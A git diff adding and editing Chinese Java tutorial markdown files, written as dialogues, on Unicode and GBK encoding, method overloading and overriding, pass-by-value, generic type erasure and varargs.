+Unicode 至今仍在不断增修,每个新版本都会加入更多新的字符。目前最新的版本为 2020 年 3 月公布的 13.0,收录了 13 万个字符。
+
+
+
+Unicode 是一个很大的集合,现在的规模可以容纳 100 多万个符号。每个符号的编码都不一样,比如,`U+0639`表示阿拉伯字母 `Ain`,`U+0041` 表示英语的大写字母 `A`,`U+4E25` 表示汉字`严`。
+
+具体的符号对应表,可以查询 [unicode.org](http://www.unicode.org/),或者专门的[汉字对应表](http://www.chi2ko.com/tool/CJK.htm)。
+
+曾有人这样说:
+
+>Unicode 支持的字符上限是 65536 个,Unicode 字符必须占两个字节。
+
+但这是一种误解,记住,Unicode 只是一个用来映射字符和数字的标准。它对支持字符的数量没有限制,也不要求字符必须占两个、三个或者其它任意数量的字节,所以它可以无穷大。
+
+Unicode 虽然统一了全世界字符的编码,但没有规定如何存储。如果统一规定的话,每个符号就要用 3 个或 4 个字节表示,因为 2 个字节只能表示 65536 个,根本表示不全。
+
+那怎么办呢?
+
+UTF(Unicode Transformation Formats,Unicode 的编码方式)来了!最常见的就是 UTF-8 和 UTF-16。
+
+在 UTF-8 中,0-127 号的字符用 1 个字节来表示,使用和 ASCII 相同的编码。只有 128 号及以上的字符才用 2 个、3 个或者 4 个字节来表示。
+
+如果只有一个字节,那么最高的比特位为 0;如果有多个字节,那么第一个字节从最高位开始,连续有几个比特位的值为 1,就使用几个字节编码,剩下的字节均以 10 开头。
+
+具体的表现形式为:
+
+0xxxxxxx:一个字节;
+110xxxxx 10xxxxxx:两个字节编码形式(开始两个 1);
+1110xxxx 10xxxxxx 10xxxxxx:三字节编码形式(开始三个 1);
+11110xxx 10xxxxxx 10xxxxxx 10xxxxxx:四字节编码形式(开始四个 1)。
+
+也就是说,UTF-8 是一种可变长度的编码方式——这是它的优势也是劣势。
+
+怎么讲呢?优势就是它包罗万象,劣势就是浪费空间。举例来说吧,UTF-8 采用了 3 个字节(256*256*256=16777216)来编码常用的汉字,但常用的汉字没有这么多,这对于计算机来说,就是一种严重的资源浪费。
+
+基于这样的考虑,中国国家标准总局于 1980 年发布了 GB 2312 编码,即中华人民共和国国家标准简体中文字符集。GB 2312 标准共收录 6763 个汉字(2 个字节就够用了),其中一级汉字 3755 个,二级汉字 3008 个;同时收录了包括拉丁字母、希腊字母、日文平假名及片假名字母、俄语西里尔字母在内的 682 个字符。
+
+GB 2312 的出现,基本满足了汉字的计算机处理需求。对于人名、古汉语等方面出现的罕用字和繁体字,GB 2312 不能处理,就有了 GBK(K 为“扩展”的汉语拼音(kuòzhǎn)第一个声母)。
+
+来看一段代码:
+
+```java
+public class Demo {
+ public static void main(String[] args) {
+ String wanger = "沉默王二";
+ byte[] bytes = wanger.getBytes(Charset.forName("GBK"));
+ String result = new String(bytes, Charset.forName("UTF-8"));
+ System.out.println(result);
+ }
+}
+```
+
+先用 GBK 编码,再用 UTF-8 解码,程序会输出什么呢?
+
+```
+��Ĭ����
+```
+
+嘿嘿,乱码来了!在 Unicode 中,� 是一个特殊的符号,它用来表示无法显示,它的十六进制是 `0xEF 0xBF 0xBD`。那么两个 �� 就是 `0xEF 0xBF 0xBD 0xEF 0xBF 0xBD`,如果用 GBK 进行解码的话,就是大名鼎鼎的“**锟斤拷**”。
+
+可以通过代码来验证一下:
+
+```java
+// 输出 efbfbdefbfbd
+System.out.println(HexUtil.encodeHex("��", Charset.forName("UTF-8")));
+// 借助 hutool 转成二进制
+byte[] testBytes = HexUtil.decodeHex("efbfbdefbfbd");
+// 使用 GBK 解码
+String testResult = new String(testBytes, Charset.forName("GBK"));
+// 输出锟斤拷
+System.out.println(testResult);
+```
+
+PPPS:hutool 的使用方法可以参照我的另外一篇[文章](https://mp.weixin.qq.com/s/hso-Hm5NuFStMu3m0iz_0w)。
+
+所以,以后再见到**锟斤拷**,第一时间想到 UTF-8 和 GBK 的转换问题准没错。
+
+UTF-16 使用 2 个或者 4 个字节来存储字符。
+
+- 对于 Unicode 编号范围在 0 ~ FFFF 之间的字符,UTF-16 使用两个字节存储。
+
+- 对于 Unicode 编号范围在 10000 ~ 10FFFF 之间的字符,UTF-16 使用四个字节存储,具体来说就是:将字符编号的所有比特位分成两部分,较高的一些比特位用一个值介于 D800~DBFF 之间的双字节存储,较低的一些比特位(剩下的比特位)用一个值介于 DC00~DFFF 之间的双字节存储。
+
+**3)char**
+
+搞清楚了 Unicode 之后,再回头来看 char 为什么是两个字节的问题,就很容易搞明白了。
+
+在 Unicode 的设计之初,人们认为两个字节足以对世界上各种语言的所有字符进行编码,在 1991 年发布的 Unicode 1.0 中,仅用了 65536 个代码值中不到一半的部分。
+
+所以,Java 决定采用 16 位的 Unicode 字符集([诞生于 90 年代](https://mp.weixin.qq.com/s/Ctouw652iC0qtrmjen9aEw))。也就是说,当时的 char 类型可以表示任意一个 Unicode 字符。
+
+但是,不可避免的事情发生了,Unicode 收录的字符越来越多,超过了 65536 个(2 个字节的最大表示范围)。超过的部分怎么办呢?只能用两个 char 来表示了。
+
+这个 `𐐷` 字符很特殊,Unicode 编码是 `U+10437`,它就无法使用一个 char 来表示,当你尝试用 char 来表示时,它会被 IDEA 转成 UTF-16 十六进制字符代码 `\uD801\uDC37`(与此同时,编译器会提醒你最好把它声明成 String 类型)。
+
+
+
+也就是说,在 Java 中,char 会占用两个字节,超出 char 的承受范围('\u0000'(0)和 '\uffff'(65,535))的字符,都将无法表示。
+
+
+
+“好了,三妹,关于 Unicode 就先说这么多吧,你是不是已经清楚了?”转动了一下僵硬的脖子后,我对三妹说。
\ No newline at end of file
diff --git a/docs/basic-extra-meal/override-overload.md b/docs/basic-extra-meal/override-overload.md
new file mode 100644
index 0000000000..8540335961
--- /dev/null
+++ b/docs/basic-extra-meal/override-overload.md
@@ -0,0 +1,305 @@
+
+
+### 01、开篇
+
+入冬的夜,总是来得特别的早。我静静地站在阳台,目光所及之处,不过是若隐若现的钢筋混凝土,还有那毫无情调的灯光。
+
+“哥,别站在那发呆了。今天学啥啊,七点半我就要回学校了,留给你的时间不多了,你要抓紧哦。”三妹傲娇的声音一下子把我从游离的状态拉回到了现实。
+
+“今天要学习 Java 中的方法重载与方法重写。”我迅速地走到电脑前面,打开一份 Excel 文档,看了一下《教妹学 Java》的进度,然后对三妹说。
+
+“如果一个类有多个名字相同但参数个数不同的方法,我们通常称这些方法为方法重载。 ”我面带着朴实无华的微笑继续说,“如果方法的功能是一样的,但参数不同,使用相同的名字可以提高程序的可读性。”
+
+“如果子类具有和父类一样的方法(参数相同、返回类型相同、方法名相同,但方法体可能不同),我们称之为方法重写。 方法重写用于提供父类已经声明的方法的特殊实现,是实现多态的基础条件。”
+
+“只不过,方法重载与方法重写在名字上很相似,就像是兄弟俩,导致初学者经常把它们俩搞混。”
+
+“方法重载的英文名叫 Overloading,方法重写的英文名叫 Overriding,因此,不仅中文名很相近,英文名之间也很相近,这就更容易让初学者搞混了。”
+
+“但两者其实是完全不同的!通过下面这张图,你就能看得一清二楚。”
+
+话音刚落,我就在 IDEA 中噼里啪啦地敲了起来。两段代码,分别是方法重写和方法重载。然后,把这两段代码截图到 draw.io(一个很漂亮的在线画图网站)上,加了一些文字说明。最后,打开 Photoscape X,把两张图片合并到了一起。
+
+
+
+### 02、方法重载
+
+“三妹,你仔细听哦。”我缓了一口气后继续说道。
+
+“在 Java 中,有两种方式可以达到方法重载的目的。”
+
+“第一,改变参数的数目。来看下面这段代码。”
+
+```java
+public class OverloadingByParamNum {
+ public static void main(String[] args) {
+ System.out.println(Adder.add(10, 19));
+ System.out.println(Adder.add(10, 19, 20));
+ }
+}
+
+class Adder {
+ static int add(int a, int b) {
+ return a + b;
+ }
+
+ static int add(int a, int b, int c) {
+ return a + b + c;
+ }
+}
+```
+
+“Adder 类有两个方法,第一个 `add()` 方法有两个参数,在调用的时候可以传递两个参数;第二个 `add()` 方法有三个参数,在调用的时候可以传递三个参数。”
+
+“二哥,这样的代码不会显得啰嗦吗?如果有四个参数的时候就再追加一个方法?”三妹突然提了一个很尖锐的问题。
+
+“那倒是,这个例子只是为了说明方法重载的一种类型。如果参数类型相同的话,Java 提供了可变参数的方式,就像下面这样。”
+
+```java
+static int add(int ... args) {
+ int sum = 0;
+ for ( int a: args) {
+ sum += a;
+ }
+ return sum;
+}
+```
+
+“第二,通过改变参数类型,也可以达到方法重载的目的。来看下面这段代码。”
+
+```java
+public class OverloadingByParamType {
+ public static void main(String[] args) {
+ System.out.println(Adder.add(10, 19));
+ System.out.println(Adder.add(10.1, 19.2));
+ }
+}
+
+class Adder {
+ static int add(int a, int b) {
+ return a + b;
+ }
+
+ static double add(double a, double b) {
+ return a + b;
+ }
+}
+```
+
+“Adder 类有两个方法,第一个 `add()` 方法的参数类型为 int,第二个 `add()` 方法的参数类型为 double。”
+
+“二哥,改变参数的数目和类型都可以实现方法重载,为什么改变方法的返回值类型就不可以呢?”三妹很能抓住问题的重点嘛。
+
+“因为仅仅改变返回值类型的话,会把编译器搞懵逼的。”我略带调皮的口吻回答她。
+
+“编译时报错优于运行时报错,所以当两个方法的名字相同,参数个数和类型也相同的时候,虽然返回值类型不同,但依然会提示方法已经被定义的错误。”
+
+
+
+“你想啊,三妹。我们在调用一个方法的时候,可以指定返回值类型,也可以不指定。当不指定的时候,直接指定 `add(1, 2)` 的时候,编译器就不知道该调用返回 int 的 `add()` 方法还是返回 double 的 `add()` 方法,产生了歧义。”
+
+“方法的返回值只是作为方法运行后的一个状态,它是保持方法的调用者和被调用者进行通信的一个纽带,但并不能作为某个方法的‘标识’。”
+
+“二哥,我想到了一个点,`main()` 方法可以重载吗?”
+
+“三妹,这是个好问题啊!答案是肯定的,毕竟 `main()` 方法也是个方法,只不过,Java 虚拟机在运行的时候只会调用带有 String 数组的那个 `main()` 方法。”
+
+```java
+public class OverloadingMain {
+ public static void main(String[] args) {
+ System.out.println("String[] args");
+ }
+
+ public static void main(String args) {
+ System.out.println("String args");
+ }
+
+ public static void main() {
+ System.out.println("无参");
+ }
+}
+```
+
+“第一个 `main()` 方法的参数形式为 `String[] args`,是最标准的写法;第二个 `main()` 方法的参数形式为 `String args`,少了中括号;第三个 `main()` 方法没有参数。”
+
+“来看一下程序的输出结果。”
+
+```
+String[] args
+```
+
+“从结果中,我们可以看得出,尽管 `main()` 方法可以重载,但程序只认标准写法。”
+
+“由于可以通过改变参数类型的方式实现方法重载,那么当传递的参数没有找到匹配的方法时,就会发生隐式的类型转换。”
+
+
+
+“如上图所示,byte 可以向上转换为 short、int、long、float 和 double,short 可以向上转换为 int、long、float 和 double,char 可以向上转换为 int、long、float 和 double,依次类推。”
+
+“三妹,来看下面这个示例。”
+
+```java
+public class OverloadingTypePromotion {
+ void sum(int a, long b) {
+ System.out.println(a + b);
+ }
+
+ void sum(int a, int b, int c) {
+ System.out.println(a + b + c);
+ }
+
+ public static void main(String args[]) {
+ OverloadingTypePromotion obj = new OverloadingTypePromotion();
+ obj.sum(20, 20);
+ obj.sum(20, 20, 20);
+ }
+}
+```
+
+“执行 `obj.sum(20, 20)` 的时候,发现没有 `sum(int a, int b)` 的方法,所以此时第二个 20 向上转型为 long,所以调用的是 `sum(int a, long b)` 的方法。”
+
+“再来看一个示例。”
+
+```java
+public class OverloadingTypePromotion1 {
+ void sum(int a, int b) {
+ System.out.println("int");
+ }
+
+ void sum(long a, long b) {
+ System.out.println("long");
+ }
+
+ public static void main(String args[]) {
+ OverloadingTypePromotion1 obj = new OverloadingTypePromotion1();
+ obj.sum(20, 20);
+ }
+}
+```
+
+“执行 `obj.sum(20, 20)` 的时候,发现有 `sum(int a, int b)` 的方法,所以就不会向上转型为 long,调用 `sum(long a, long b)`。”
+
+“来看一下程序的输出结果。”
+
+```
+int
+```
+
+“继续来看示例。”
+
+```java
+public class OverloadingTypePromotion2 {
+ void sum(long a, int b) {
+ System.out.println("long int");
+ }
+
+ void sum(int a, long b) {
+ System.out.println("int long");
+ }
+
+ public static void main(String args[]) {
+ OverloadingTypePromotion2 obj = new OverloadingTypePromotion2();
+ obj.sum(20, 20);
+ }
+}
+```
+
+“二哥,我又想到一个问题。当有两个方法 `sum(long a, int b)` 和 `sum(int a, long b)`,参数个数相同,参数类型相同,只不过位置不同的时候,会发生什么呢?”
+
+“当通过 `obj.sum(20, 20)` 来调用 sum 方法的时候,编译器会提示错误。”
+
+
+“不明确,编译器会很为难,究竟是把第一个 20 从 int 转成 long 呢,还是把第二个 20 从 int 转成 long,智障了!所以,不能写这样让编译器左右为难的代码。”
+
+### 03、方法重写
+
+“三妹,累吗?我们稍微休息一下吧。”我把眼镜摘下来,放到桌子上,闭上了眼睛,开始胡思乱想起来。
+
+2000 年,周杰伦横空出世,让青黄不接的唱片行业为之一振,由此开启了新一代天王争霸的黄金时代。2020 年,杰伦胖了,也贪玩了,一年出一张单曲都变得可遇不可求。
+
+20 年前,程序员很稀有;20 年后,程序员内卷了。时间永远不会停下脚步,明年会不会好起来呢?
+
+“哥,醒醒,你就说休息一会,没说睡着啊。赶紧,我还有半个小时就要走了。”
+
+我戴上眼镜,对三妹继续说道:“在 Java 中,方法重写需要满足以下三个规则。”
+
+- 重写的方法必须和父类中的方法有着相同的名字;
+- 重写的方法必须和父类中的方法有着相同的参数;
+- 必须是 is-a 的关系(继承关系)。
+
+“来看下面这段代码。”
+
+```java
+public class Bike extends Vehicle {
+ public static void main(String[] args) {
+ Bike bike = new Bike();
+ bike.run();
+ }
+}
+
+class Vehicle {
+ void run() {
+ System.out.println("车辆在跑");
+ }
+}
+```
+
+“来看一下程序的输出结果。”
+
+```
+车辆在跑
+```
+
+“Bike is-a Vehicle,自行车是一种车,没错。Vehicle 类有一个 `run()` 的方法,也就是说车辆可以跑,Bike 继承了 Vehicle,也可以跑。但如果 Bike 没有重写 `run()` 方法的话,自行车就只能是‘车辆在跑’,而不是‘自行车在跑’,对吧?”
+
+“如果有了方法重写,一切就好办了。”
+
+```java
+public class Bike extends Vehicle {
+ @Override
+ void run() {
+ System.out.println("自行车在跑");
+ }
+
+ public static void main(String[] args) {
+ Bike bike = new Bike();
+ bike.run();
+ }
+}
+
+class Vehicle {
+ void run() {
+ System.out.println("车辆在跑");
+ }
+}
+```
+
+我把鼠标移动到 Bike 类的 `run()` 方法,对三妹说:“你看,在方法重写的时候,IDEA 会建议使用 `@Override` 注解,显式的表示这是一个重写后的方法,尽管可以缺省。”
+
+“来看一下程序的输出结果。”
+
+```
+自行车在跑
+```
+
+“Bike 重写了 `run()` 方法,也就意味着,Bike 可以跑出自己的风格。”
+
+### 04、总结
+
+“好了,三妹,我来简单做个总结。”我瞥了一眼电脑右上角的时钟,离三妹离开的时间不到 10 分钟了。
+
+“首先来说一下方法重载时的注意事项,‘两同一不同’。”
+
+“‘两同’:在同一个类,方法名相同。”
+
+“‘一不同’:参数不同。”
+
+“再来说一下方法重写时的注意事项,‘两同一小一大’。”
+
+“‘两同’:方法名相同,参数相同。”
+
+“‘一小’:子类方法声明的异常类型要比父类小一些或者相等。”
+
+“‘一大’:子类方法的访问权限应该比父类的更大或者相等。”
+
+“记住了吧?三妹。带上口罩,拿好手机,咱准备出门吧。”今天限号,没法开车送三妹去学校了。
\ No newline at end of file
diff --git a/docs/basic-extra-meal/pass-by-value.md b/docs/basic-extra-meal/pass-by-value.md
new file mode 100644
index 0000000000..35c0628a60
--- /dev/null
+++ b/docs/basic-extra-meal/pass-by-value.md
@@ -0,0 +1,135 @@
+
+
+“哥,说说 Java 到底是值传递还是引用传递吧?”三妹一脸的困惑,看得出来她被这个问题折磨得不轻。
+
+“说实在的,我在一开始学 Java 的时候也被这个问题折磨得够呛,总以为基本数据类型在传参的时候是值传递,而引用类型是引用传递。”我对三妹袒露了心声,为的就是让她不再那么焦虑,她哥当年也是这么过来的。
+
+ C 语言是很多编程语言的母胎,包括 Java,那么对于 C 语言来说,所有的方法参数都是“通过值”传递的,也就是说,传递给被调用方法的参数值存放在临时变量中,而不是存放在原来的变量中。这就意味着,被调用的方法不能修改调用方法中变量的值,而只能修改其私有变量的临时副本的值。
+
+Java 继承了 C 语言这一特性,因此 Java 是按照值来传递的。
+
+接下来,我们必须得搞清楚,到底什么是值传递(pass by value),什么是引用传递(pass by reference),否则,讨论 Java 到底是值传递还是引用传递就显得毫无意义。
+
+当一个参数按照值的方式在两个方法之间传递时,调用者和被调用者其实是用的两个不同的变量——被调用者中的变量(原始值)是调用者中变量的一份拷贝,对它们当中的任何一个变量修改都不会影响到另外一个变量,据说 Fortran 语言是通过引用传递的。
+
+“Fortran 语言?”三妹睁大了双眼,似乎听见了什么新的名词。
+
+“是的,Fortran 语言,1957 年由 IBM 公司开发,是世界上第一个被正式采用并流传至今的高级编程语言。”
+
+当一个参数按照引用传递的方式在两个方法之间传递时,调用者和被调用者其实用的是同一个变量,当该变量被修改时,双方都是可见的。
+
+“我们之所以容易搞不清楚 Java 到底是值传递还是引用传递,主要是因为 Java 中的两类数据类型的叫法容易引发误会,比如说 int 是基本类型,说它是值传递的,我们就很容易理解;但对于引用类型,比如说 String,说它也是值传递的时候,我们就容易弄不明白。”
+
+我们来看看基本数据类型和引用数据类型之间的差别。
+
+```java
+int age = 18;
+String name = "二哥";
+```
+
+age 是基本类型,值就保存在变量中,而 name 是引用类型,变量中保存的是对象的地址。一般称这种变量为对象的引用,引用存放在栈中,而对象存放在堆中。
+
+这里说的栈和堆,是指内存中的一块区域,和数据结构中的栈和堆不一样。栈是由编译器自动分配释放的,所以适合存放编译期就确定生命周期的数据;而堆中存放的数据,编译器是不需要知道生命周期的,创建后的回收工作由垃圾收集器来完成。
+
+“画幅图。”
+
+
+
+当用 = 赋值运算符改变 age 和 name 的值时。
+
+```java
+age = 16;
+name = "三妹";
+```
+
+对于基本类型 age,赋值运算符会直接改变变量的值,原来的值被覆盖。
+
+对于引用类型 name,赋值运算符会改变对象引用中保存的地址,原来的地址被覆盖,但原来的对象不会被覆盖。
+
+
+
+“三妹,注意听,接下来,我们来说说基本数据类型的参数传递。”
+
+Java 有 8 种基本数据类型,分别是 int、long、byte、short、float、double 、char 和 boolean,就拿 int 类型来举例吧。
+
+```java
+class PrimitiveTypeDemo {
+ public static void main(String[] args) {
+ int age = 18;
+ modify(age);
+ System.out.println(age);
+ }
+
+ private static void modify(int age1) {
+ age1 = 30;
+ }
+}
+```
+
+1)`main()` 方法中的 age 为基本类型,所以它的值 18 直接存储在变量中。
+
+2)调用 `modify()` 方法的时候,将会把 age 的值 18 复制给形参 age1。
+
+3)`modify()` 方法中,对 age1 做出了修改。
+
+4)回到 `main()` 方法中,age 的值仍然为 18,并没有发生改变。
+
+如果我们想让 age 的值发生改变,就需要这样做。
+
+```java
+class PrimitiveTypeDemo1 {
+ public static void main(String[] args) {
+ int age = 18;
+ age = modify(age);
+ System.out.println(age);
+ }
+
+ private static int modify(int age1) {
+ age1 = 30;
+ return age1;
+ }
+}
+```
+
+第一,让 `modify()` 方法有返回值;
+
+第二,使用赋值运算符重新对 age 进行赋值。
+
+“好了,再来说说引用类型的参数传递。”
+
+就以 String 为例吧。
+
+```java
+class ReferenceTypeDemo {
+ public static void main(String[] args) {
+ String name = "二哥";
+ modify(name);
+ System.out.println(name);
+ }
+
+ private static void modify(String name1) {
+ name1 = "三妹";
+ }
+}
+```
+
+在调用 `modify()` 方法的时候,形参 name1 复制了 name 的地址,指向的是堆中“二哥”的位置。
+
+
+
+当 `modify()` 方法调用结束后,改变了形参 name1 的地址,但 `main()` 方法中 name 并没有发生改变。
+
+
+
+总结:
+
+- Java 中的参数传递是按值传递的。
+- 如果参数是基本类型,传递的是基本类型的字面量值的拷贝。
+- 如果参数是引用类型,传递的是引用的对象在堆中地址的拷贝。
+
+“好了,三妹,今天的学习就到这吧。”
+
+
+
+
+
diff --git a/docs/src/basic-extra-meal/true-generic.md b/docs/basic-extra-meal/true-generic.md
similarity index 77%
rename from docs/src/basic-extra-meal/true-generic.md
rename to docs/basic-extra-meal/true-generic.md
index 0b3356dd3a..6c3efb9cb5 100644
--- a/docs/src/basic-extra-meal/true-generic.md
+++ b/docs/basic-extra-meal/true-generic.md
@@ -1,22 +1,8 @@
----
-title: Java 为什么无法实现真正的泛型?
-shortTitle: Java为什么无法实现真正的泛型
-category:
- - Java核心
-tag:
- - Java重要知识点
-description: Java 无法实现真正泛型的原因在于类型擦除,这种设计是为了兼容早期 Java 版本。本文详细探讨 Java 泛型的实现机制、类型擦除背后的原理,以及 Java 泛型在编程中的局限性。
-author: 沉默王二
-head:
- - - meta
- - name: keywords
- content: Java, 泛型, 类型擦除
----
-
-
-“二哥,为啥 Java 不能实现真正的泛型啊?”三妹开门见山地问。
-
-简单来回顾一下[类型擦除](https://javabetter.cn/basic-extra-meal/generic.html),看下面这段代码。
+
+
+“二哥,为啥 Java 不能实现真正泛型啊?”三妹开门见山地问。
+
+简单来回顾一下类型擦除,看下面这段代码。
```java
public class Cmower {
@@ -36,9 +22,7 @@ public class Cmower {
但由于类型擦除的原因,以上代码是不会编译通过的——编译器会提示一个错误:
-```
>'method(ArrayList)' clashes with 'method(ArrayList)'; both methods have same erasure
-```
也就是说,两个 `method()` 方法经过类型擦除后的方法签名是完全相同的,Java 是不允许这样做的。
@@ -58,7 +42,8 @@ public class Cmower {
“保持耐心,好不好?”我安慰道。
-**第一,兼容性**
+
+第一,兼容性
Java 在 2004 年已经积累了较为丰富的生态,如果把现有的类修改为泛型类,需要让所有的用户重新修改源代码并且编译,这就会导致 Java 1.4 之前打下的江山可能会完全覆灭。
@@ -68,9 +53,9 @@ Java 在 2004 年已经积累了较为丰富的生态,如果把现有的类修
老用户不受影响,新用户可以自由地选择使用泛型,可谓一举两得。
-**第二,不是“实现不了”**。Pizza,1996 年的实验语言,在 Java 的基础上扩展了泛型。
+第二,不是“实现不了”。Pizza,1996 年的实验语言,在 Java 的基础上扩展了泛型。
->Pizza 教程地址:[http://pizzacompiler.sourceforge.net/doc/tutorial.html](http://pizzacompiler.sourceforge.net/doc/tutorial.html)
+>Pizza 教程地址:http://pizzacompiler.sourceforge.net/doc/tutorial.html
“1996 年?”三妹表示很吃惊。
@@ -120,7 +105,7 @@ String s = a.get();
对吧?这就是我们想要的“真正意义上的泛型”,A 不仅仅可以是引用类型 String,还可以是基本数据类型。要知道,Java 的泛型不允许是基本数据类型,只能是包装器类型。
-
+
除此之外,Pizza 的泛型还可以直接使用 `new` 关键字进行声明,并且 Pizza 编译器会从构造方法的参数上推断出具体的对象类型,究竟是 String 还是 int。要知道,Java 的泛型因为类型擦除的原因,程序员是无法知道一个 ArrayList 究竟是 `ArrayList` 还是 `ArrayList` 的。
@@ -187,11 +172,11 @@ Java 语言和其他编程语言不一样,有着沉重的历史包袱,1.5
Java 一直以来都强调兼容性,我认为这也是 Java 之所以能被广泛使用的主要原因之一,开发者不必担心 Java 版本升级的问题,一个在 JDK 1.4 上可以跑的代码,放在 JDK 1.5 上仍然可以跑。
-这里必须得说明一点,J2SE1.5 的发布,是 Java 语言发展史上的重要里程碑,为了表示该版本的重要性,J2SE1.5 也正式更名为 Java SE 5.0,往后去就是 Java SE 6.0,Java SE 7.0。。。。
+*这里必须得说明一点,J2SE1.5 的发布,是 Java 语言发展史上的重要里程碑,为了表示该版本的重要性,J2SE1.5 也正式更名为 Java SE 5.0,往后去就是 Java SE 6.0,Java SE 7.0。。。。*
但 Java 并不支持高版本 JDK 编译生成的字节码文件在低版本的 JRE(Java 运行时环境)上跑。
-
+
针对泛型,兼容性具体表现在什么地方呢?来看下面这段代码。
@@ -220,12 +205,12 @@ Java 神奇就神奇在这,表面上万物皆对象,但为了性能上的考
一个好消息是 Valhalla 项目正在努力解决这些因为泛型擦除带来的历史遗留问题。
-
+
Project Valhalla:正在进行当中的 OpenJDK 项目,计划给未来的 Java 添加改进的泛型支持。
->源码地址:[http://openjdk.java.net/projects/valhalla/](http://openjdk.java.net/projects/valhalla/)
+>源码地址:http://openjdk.java.net/projects/valhalla/
让我们拭目以待吧!
@@ -233,11 +218,8 @@ Project Valhalla:正在进行当中的 OpenJDK 项目,计划给未来的 Jav
“嗯嗯。二哥,你讲得可真棒👍”三妹夸奖得我有点小开心,嘿嘿。
----
-
-GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/)
-
+-----
-微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。
+《**Java 程序员进阶之路**》预计一个月左右会有一次内容更新和完善,大家在我的公众号 **沉默王二** 后台回复“**03**” 即可获取最新版!如果觉得内容不错的话,欢迎转发分享!
-
\ No newline at end of file
+
\ No newline at end of file
diff --git a/docs/basic-extra-meal/varables.md b/docs/basic-extra-meal/varables.md
new file mode 100644
index 0000000000..23d3894399
--- /dev/null
+++ b/docs/basic-extra-meal/varables.md
@@ -0,0 +1,140 @@
+
+
+为了让铁粉们能白票到阿里云的服务器,老王当了整整两天的客服,真正体验到了什么叫做“为人民群众谋福利”的不易和辛酸。正在他眼睛红肿打算要休息之际,小二跑过来问他:“Java 的可变参数究竟是怎么一回事?”老王一下子又清醒了,他爱 Java,他爱传道解惑,他爱这群尊敬他的读者。
+
+*PS:star 这种事,只能求,不求没效果,铁子们,《Java 程序员进阶之路》在 GitHub 上已经收获了 514 枚星标,铁子们赶紧去点点了,冲 600 star*!
+
+>https://github.com/itwanger/toBeBetterJavaer
+
+可变参数是 Java 1.5 的时候引入的功能,它允许方法使用任意多个、类型相同(`is-a`)的值作为参数。就像下面这样。
+
+```java
+public static void main(String[] args) {
+ print("沉");
+ print("沉", "默");
+ print("沉", "默", "王");
+ print("沉", "默", "王", "二");
+}
+
+public static void print(String... strs) {
+ for (String s : strs)
+ System.out.print(s);
+ System.out.println();
+}
+```
+
+静态方法 `print()` 就使用了可变参数,所以 `print("沉")` 可以,`print("沉", "默")` 也可以,甚至 3 个、 4 个或者更多个字符串都可以作为参数传递给 `print()` 方法。
+
+说到可变参数,我想起来阿里巴巴开发手册上有这样一条规约。
+
+
+
+意思就是尽量不要使用可变参数,如果要用的话,可变参数必须要在参数列表的最后一位。既然坑位有限,只能在最后,那么可变参数就只能有一个(悠着点,悠着点)。如果可变参数不在最后一位,IDE 就会提示对应的错误,如下图所示。
+
+
+
+
+
+
+可变参数看起来就像是个语法糖,它背后究竟隐藏了什么呢?老王想要一探究竟,它在追求真理这条路上一直很执着。
+
+其实也很简单。**当使用可变参数的时候,实际上是先创建了一个数组,该数组的大小就是可变参数的个数,然后将参数放入数组当中,再将数组传递给被调用的方法**。
+
+这就是为什么可以使用数组作为参数来调用带有可变参数的方法的根本原因。代码如下所示。
+
+```java
+public static void main(String[] args) {
+ print(new String[]{"沉"});
+ print(new String[]{"沉", "默"});
+ print(new String[]{"沉", "默", "王"});
+ print(new String[]{"沉", "默", "王", "二"});
+}
+
+public static void print(String... strs) {
+ for (String s : strs)
+ System.out.print(s);
+ System.out.println();
+}
+```
+
+那如果方法的参数是一个数组,然后像使用可变参数那样去调用方法的时候,能行得通吗?
+
+*留个思考题,大家也可以去试一试*
+
+
+
+那一般什么时候使用可变参数呢?
+
+可变参数,可变参数,顾名思义,当一个方法需要处理任意多个相同类型的对象时,就可以定义可变参数。Java 中有一个很好的例子,就是 String 类的 `format()` 方法,就像下面这样。
+
+```java
+System.out.println(String.format("年纪是: %d", 18));
+System.out.println(String.format("年纪是: %d 名字是: %s", 18, "沉默王二"));
+```
+
+`%d` 表示将整数格式化为 10 进制整数,`%s` 表示输出字符串。
+
+如果不使用可变参数,那需要格式化的参数就必须使用“+”号操作符拼接起来了。麻烦也就惹上身了。
+
+在实际的项目代码中,开源包 slf4j.jar 的日志输出就经常要用到可变参数(log4j 就没法使用可变参数,日志中需要记录多个参数时就痛苦不堪了)。就像下面这样。
+
+```java
+protected Logger logger = LoggerFactory.getLogger(getClass());
+logger.debug("名字是{}", mem.getName());
+logger.debug("名字是{},年纪是{}", mem.getName(), mem.getAge());
+```
+
+查看源码就可以发现,`debug()` 方法使用了可变参数。
+
+```java
+public void debug(String format, Object... arguments);
+```
+
+那在使用可变参数的时候有什么注意事项吗?
+
+有的。我们要避免重载带有可变参数的方法——这样很容易让编译器陷入自我怀疑中。
+
+```java
+public static void main(String[] args) {
+ print(null);
+}
+
+public static void print(String... strs) {
+ for (String a : strs)
+ System.out.print(a);
+ System.out.println();
+}
+
+public static void print(Integer... ints) {
+ for (Integer i : ints)
+ System.out.print(i);
+ System.out.println();
+}
+```
+
+这时候,编译器完全不知道该调用哪个 `print()` 方法,`print(String... strs)` 还是 `print(Integer... ints)`,傻傻分不清。
+
+
+
+
+假如真的需要重载带有可变参数的方法,就必须在调用方法的时候给出明确的指示,不要让编译器去猜。
+
+```java
+public static void main(String[] args) {
+ String [] strs = null;
+ print(strs);
+
+ Integer [] ints = null;
+ print(ints);
+}
+
+public static void print(String... strs) {
+}
+
+public static void print(Integer... ints) {
+}
+```
+
+上面这段代码是可以编译通过的。因为编译器知道参数是 String 类型还是 Integer 类型,只不过为了运行时不抛出 `NullPointerException`,两个 `print()` 方法的内部要做好判空操作。
+
+
diff --git a/docs/basic-extra-meal/what-happen-when-javac.md b/docs/basic-extra-meal/what-happen-when-javac.md
new file mode 100644
index 0000000000..5fa75f059b
--- /dev/null
+++ b/docs/basic-extra-meal/what-happen-when-javac.md
@@ -0,0 +1,125 @@
+
+
